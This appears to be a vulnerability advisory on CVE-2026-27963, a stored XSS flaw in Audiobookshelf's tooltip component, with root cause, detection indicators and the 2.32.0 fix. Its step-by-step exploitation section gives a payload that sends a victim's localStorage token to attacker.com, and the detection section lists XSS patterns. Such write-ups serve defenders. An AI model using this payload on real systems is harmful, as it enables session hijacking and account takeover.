CVE-2026-27963: 
NixOS vulnerability analysis and mitigation

CVE-2026-27963 is a stored cross-site scripting (XSS) vulnerability in Audiobookshelf, a self-hosted audiobook and podcast server, affecting all versions up to and including 2.31.0. The flaw allows attackers with library modification privileges to inject arbitrary JavaScript via malicious audiobook metadata (specifically the book title), which executes in victim users' browsers when they hover over a book cover in the Library Grid view. It was published on February 26, 2026, with a patch released in version 2.32.0. The vulnerability carries a CVSS v3.1 base score of 4.8 (Medium) (GitHub Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerable component is components/ui/Tooltip.vue, which uses direct innerHTML assignment (this.tooltip.innerHTML = this.text) in both its updateText() and createTooltip() methods without any HTML sanitization. In the Library Grid view, components/cards/LazyBookCard.vue passes the unsanitized book title directly to this global tooltip component. An attacker with library management permissions sets a book title containing a malicious HTML/JavaScript payload (e.g., Harmless Book Title<img src=x onerror=...>); when a victim user hovers their mouse over the book cover in the web client, the tooltip renders and the payload executes in the victim's browser. The attack requires no special conditions beyond library modification access and passive user interaction (mouse hover) (GitHub Advisory, GitHub Commit).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser, enabling session hijacking through theft of access tokens stored in localStorage (including admin tokens if an administrator is targeted), data exfiltration, and unauthorized modification of application or server state. Because Tooltip.vue is a global component used throughout the application, the vulnerability may also be triggerable in other interface areas such as the sidebar, header, or buttons where user-controlled text is rendered as a tooltip. Availability impact is minimal, though application crashes are possible (GitHub Advisory).

A proof-of-concept was demonstrated on a local instance of Audiobookshelf v2.30.0, confirming that setting a book title to a payload such as Harmless Book Title<script>...</script> and having a victim hover over the cover is sufficient to trigger token exfiltration. The EPSS score is approximately 0.033% (0.000330), indicating low current exploitation probability. No in-the-wild exploitation, threat actor attribution, or CISA KEV catalog listing has been reported as of the time of publication (GitHub Advisory, Feedly).

1. Obtain library modification privileges: Log in to the target Audiobookshelf instance with an account that has library management permissions (not necessarily administrator-level).
2. Add or edit a library item: Navigate to the library and add a new audiobook or edit an existing one.
3. Inject malicious payload in the title field: Set the book title to a crafted XSS payload, for example: Harmless Book Title<img src=x onerror="fetch('https://attacker.com/?t='+localStorage.getItem('token'))">.
4. Wait for victim interaction: When a victim user (ideally an administrator) navigates to the Library or Home dashboard in the web client and hovers their mouse over the malicious book cover, the Tooltip.vue component renders the unsanitized title via innerHTML.
5. Payload executes: The injected JavaScript runs in the victim's browser context, exfiltrating the access token (or other sensitive data from localStorage) to the attacker-controlled server.
6. Use stolen token: The attacker uses the exfiltrated token to authenticate as the victim, gaining full access to the Audiobookshelf instance (GitHub Advisory).

• Network: Unexpected outbound HTTP requests from a user's browser to external domains originating from the Audiobookshelf web client (e.g., fetch or XMLHttpRequest calls to attacker-controlled servers carrying token or session data).
• Logs: Audiobookshelf server access logs showing a library item with an unusually long or HTML-containing title field; API calls to edit library metadata from accounts not typically performing such actions.
• File System / Database: Library item records in the Audiobookshelf database containing HTML tags or JavaScript within the title field (e.g., <script>, <img src=x onerror=, <svg onload=).
• Browser: Browser developer console errors or network requests triggered on hover over book covers in the Library Grid view, particularly outbound requests not associated with normal application functionality (GitHub Advisory).

Upgrade Audiobookshelf to version 2.32.0 or later, which contains the patch for this issue. The fix (commit 503f461) introduces a plaintext boolean prop to Tooltip.vue and replaces innerHTML with textContent when this prop is set, preventing HTML parsing of user-controlled input. The LazyBookCard.vue and other affected components were updated to pass the plaintext prop when rendering user-supplied metadata. No configuration-based workaround is available for unpatched versions; restricting library modification privileges to fully trusted users can reduce risk until patching is possible (GitHub Advisory, GitHub Commit).

The vulnerability was reported by researcher michael-tyl and disclosed via GitHub Security Advisories on February 14, 2026, with the CVE published on February 26, 2026. A brief technical write-up was published by Infinit Security (Infinit Security). No significant broader media coverage or notable community controversy has been observed beyond standard vulnerability database aggregation.